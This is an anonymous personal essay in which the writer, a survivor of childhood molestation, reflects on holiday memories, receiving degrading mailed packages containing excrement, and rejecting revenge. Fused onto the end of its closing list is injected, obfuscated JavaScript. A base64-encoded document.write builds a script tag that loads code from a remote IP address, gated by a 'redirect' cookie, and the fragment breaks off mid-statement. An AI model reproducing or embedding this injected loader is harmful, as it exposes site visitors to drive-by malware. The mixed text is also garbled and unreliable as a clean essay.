Revenge vs Regret

by: Anonymous
The holidays hold good memories for some. For me they hold mostly regrets, sad times, and heartaches. These days I like to think I am putting much of this behind me, but as the holiday season comes again I just can’t forget.
Sometimes I suspect that I am not by nature a forgiving person! Why? I suppose revenge will hold for fifty years if you have it in your heart, but that’s pointless. In fact it even seems unhealthy.
I think, in other words, that it’s better to face things and definitely not stoop to the level of people who wronged you. But – how to respond? I once received a package from a wife of a man who molested me as a child. You wouldn’t believe what it contained! Inside was a serenity prayer, a letter, and – at the bottom – dried up animal excrement. Perhaps this makes sense to you, but it sure doesn’t to me!
I now imagine her husband was the one who packed it and, in the process, decided to put something so degrading in it for me. No doubt it achieved its aim. He must have known I was still vulnerable.
Somehow. Writing about all this is a big help. Otherwise it is devastating. Most of the time it just ends up making you feel like a victim again, and why carry this around inside you?
On another occasion (Christmas 1974) I mailed someone a Christmas card with a couple bucks, and it came back to me, first-class mail, wiped with human manure. I just threw it in the trash, but when I told my family, they said, “You should have sent it back and said, ‘I don’t accept dirty money.’”.
I like the humor of this answer. Sometimes one is just too stunned to respond, whether with a joke or something more vicious. The worst of all is to keep it bottled up for eighteen years, as I had been doing.
Thinking about this, I still don’t see any point in revenge. But why does it make me feel so empty? Is there only regret on the part of the victim? Here is what I believe now:
1. Keep reading
2. Keep trying
3. And always try to have people read what you write. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘